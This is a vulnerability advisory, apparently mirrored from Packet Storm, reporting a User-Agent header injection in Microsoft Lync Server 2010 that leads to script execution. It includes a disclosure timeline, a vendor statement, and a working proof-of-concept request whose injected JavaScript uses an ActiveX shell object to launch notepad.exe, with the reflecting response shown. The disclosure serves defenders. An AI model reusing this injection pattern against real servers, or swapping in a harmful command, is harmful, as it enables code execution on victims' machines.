Lucene search
K

Microsoft Lync 2012 Code Execution

🗓️ 12 Jan 2013 00:00:00Reported by Christopher EmersonType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 41 Views

Microsoft Lync 2010 code execution via unvalidated user inpu

Code
`Summary  
=======  
Microsoft Lync 2010 fails to properly sanitize user-supplied input, which  
can lead to remote code execution.  
  
Microsoft was originally notified of this issue December 11, 2012.  
  
The details of this issue were made public January 11, 2013.  
  
CVE number: Not Assigned  
Impact: Low  
Vendor homepage: http://lync.microsoft.com/  
Vendor notified: December 11, 2012  
Vendor fixed: N/A  
Credit: Christopher Emerson of White Oak Security  
(http://www.whiteoaksecurity.com/)  
  
Affected Products  
================  
Confirmed in Microsoft Lync Server 2010, version 4.0.7577.0. Other  
versions may also be  
affected.  
  
Details  
=======  
Microsoft Lync 2010, version 4.0.7577.4087, fails to sanitize the  
“User-Agent Header” for meet.domainame.com.  
  
By inserting JavaScript into the aforementioned parameters and stacking  
commands, an attacker can execute arbitrary commands in the context of the  
application.  
  
Impact  
======  
Malicious users could execute arbitrary applications on the client systems,  
compromising the confidentiality, integrity and availability of information  
on the client system.  
  
Solution  
========  
The vendor should implement thorough input validation in order to remove  
dangerous characters from user supplied data. Additionally, the vendor  
should implement thorough output encoding in order to display, and not  
execute, dangerous characters within the browser.  
  
  
Proof-of-Concept (PoC)  
===================  
The following Request is included as a proof of concept. The proof of  
concept is designed to open notepad.exe when the Request is received by the  
server.  
  
GET /christopher.emerson/JW926520 HTTP/1.0  
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,  
application/x-shockwave-flash, application/xaml+xml,  
application/vnd.ms-xpsdocument, application/x-ms-xbap,  
application/x-ms-application, */*  
Accept-Language: en-us  
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET  
CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR  
3.5.30729)";var oShell = new ActiveXObject("Shell.Application");var  
commandtoRun =  
"C:\\Windows\\notepad.exe";oShell.ShellExecute(commandtoRun,"","","open","1");-"  
Host: meet.domainname.com  
Connection: Keep-Alive  
Cookie: LOCO=yes; icscontext=cnet; ProfileNameCookie=Christopher  
  
Below is an abbreviated copy of the Response:  
  
HTTP/1.1 200 OK  
Cache-Control: private  
Content-Type: text/html; charset=utf-8  
Server: Microsoft-IIS/7.5  
X-AspNet-Version: 2.0.50727  
X-MS-Server-Fqdn: domainname.com  
X-Powered-By: ASP.NET  
Date: Mon, 07 May 2012 20:26:55 GMT  
Connection: keep-alive  
Content-Length: 23901  
<!--NOTE: If DOCTYPE element is present, it causes the iFrame to be  
displayed in a small-->  
<!--portion of the browser window instead of occupying the full browser  
window.-->  
<html xmlns="http://www.w3.org/1999/xhtml" class="reachJoinHtml">  
<head>  
<meta http-equiv="X-UA-Compatible" content="IE=10; IE=9; IE=8;  
requiresActiveX=true" />  
<title>Microsoft Lync</title>  
<script type="text/javascript">  
var reachURL = "https://  
domainname.com/Reach/Client/WebPages/ReachJoin.aspx?xml=PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48Y29uZi1pbmZvIHhtbG5zOnhzaT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS9YTUxTY2hlbWEtaW5zdGFuY2UiIHhtbG5zOnhzZD0iaHR0cDovL3d3dy53My5vcmcvMjAwMS9YTUxTY2hlbWEiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3J0Yy8yMDA5LzA1L3NpbXBsZWpvaW5jb25mZG9jIj48Y29uZi11Y21rLXNpcDpjaHJpc3RvcGhlci5lbWVyc29uQGRvbWFpbm5hbWUuY29tO2dydXU7b3BhcXVlPWFwcDpjb25mOmZvY3VzOmlkOkpXOTI2NTIwPC9jb25mLXVyaT48c2VydmVyLXRpbWU+OTEuODAwNDwvc2VydmVyLXRpbWU+PG9yaWdpbmFsLWluY29taW5nLXVybD5odHRwczovL21lZXQuZG9tYWlubmFtZS5jb20vY2hyaXN0b3BoZXIuZW1lcnNvbi9KVzkyNjUyMDwvb3JpZ2luYWwtaW5jb21pbmctdWNtdy08Y29uZi1rZXk+Slc5MjY1MjA8L2NvbmYta2V5PjwvY29uZi1pbmZiejQh";  
var escapedXML = "'\x3c\x3fxml version\x3d\x221.0\x22  
encoding\x3d\x22utf-8\x22\x3f\x3e\x3cconf-info  
xmlns\x3axsi\x3d\x22http\x3a\x2f\x2fwww.w3.org\x2f2001\x2fXMLSchema-instance\x22  
xmlns\x3axsd\x3d\x22http\x3a\x2f\x2fwww.w3.org\x2f2001\x2fXMLSchema\x22  
xmlns\x3d\x22http\x3a\x2f\x2fschemas.microsoft.com\x2frtc\x2f2009\x2f05\x2fsimplejoinconfdoc\x22\x3e\x3cconf-uri\x3esip\x3achristopher.emerson\x40  
domainname.com  
\x3bgruu\x3bopaque\x3dapp\x3aconf\x3afocus\x3aid\x3aJW926520\x3c\x2fconf-uri\x3e\x3cserver-time\x3e91.8004\x3c\x2fserver-time\x3e\x3coriginal-incoming-url\x3ehttps\x3a\x2f\  
x2fmeet.domainname.com  
\x2fchristopher.emerson\x2fJW926520\x3c\x2foriginal-incoming-url\x3e\x3cconf-key\x3eJW926520\x3c\x2fconf-key\x3e\x3c\x2fconf-info\x3e'";  
var showJoinUsingLegacyClientLink = "False";  
var validMeeting = "True";  
var reachClientRequested = "False";  
var currentLanguage = "en-US";  
var reachClientProductName = "Lync Web App";  
var crackUrlRequest = "True";  
var isNokia = "False";  
var isAndroid = "False";  
var isWinPhone = "False";  
var isIPhone = "False";  
var isIPad = "False";  
var isMobile = "False";  
var isUnsupported = "False";  
var domainOwnerJoinLauncherUrl = "";  
var lyncLaunchLink = "conf:sip:christopher.emerson@  
domainname.com  
;gruu;opaque=app:conf:focus:id:JW926520%3Frequired-media=audio";  
var errorCode = "-1";  
var diagInfo = "Machine:MachineNameBrowserId:Mozilla/4.0 (compatible;  
MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30;  
.NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)";var oShell = new  
ActiveXObject("Shell.Application");var commandtoRun =  
"C:\\Windows\\notepad.exe";oShell.ShellExecute(commandtoRun,"","","open","1");-"Join  
attempted at:5/7/2012 3:26:55 PM";  
var resourceUrl =  
"/meet/JavaScriptResourceHandler.ashx?lcs_se_w14_onprem4.0.7577.197&language=";  
  
  
Vendor Statement  
==============  
The vulnerability described in this report is a XSS vulnerability in the  
User-Agent which requires an attacker to be in a man-in-the middle  
situation in order to be able to modify the User-Agent. In a default  
configuration of Lync server, TLS encryption is used to protect against  
this type of attack. Customers concerned about this issue should check  
their environments to ensure that Lync is configured to use TLS to encrypt  
all traffic, a default configuration.  
  
  
Disclosure Timeline  
==============  
December 11, 2012: Disclosed to vendor (Microsoft Security Response Center).  
December 18, 2012: Vendor’s initial response.  
December 20, 2012: Vendor deemed issue a Low severity and confirmed issue  
would be fixed in next product release.  
December 27, 2012: Received vendor approval to disclose along with Vendor  
Statement (see above).  
January 11, 2013: Disclosed vulnerability publicly (  
http://whiteoaksecurity.com/blog/2013/1/11/microsoft-lync-server-2010-remote-code-executionxss-user-agent-header  
).  
  
=====================================================================  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation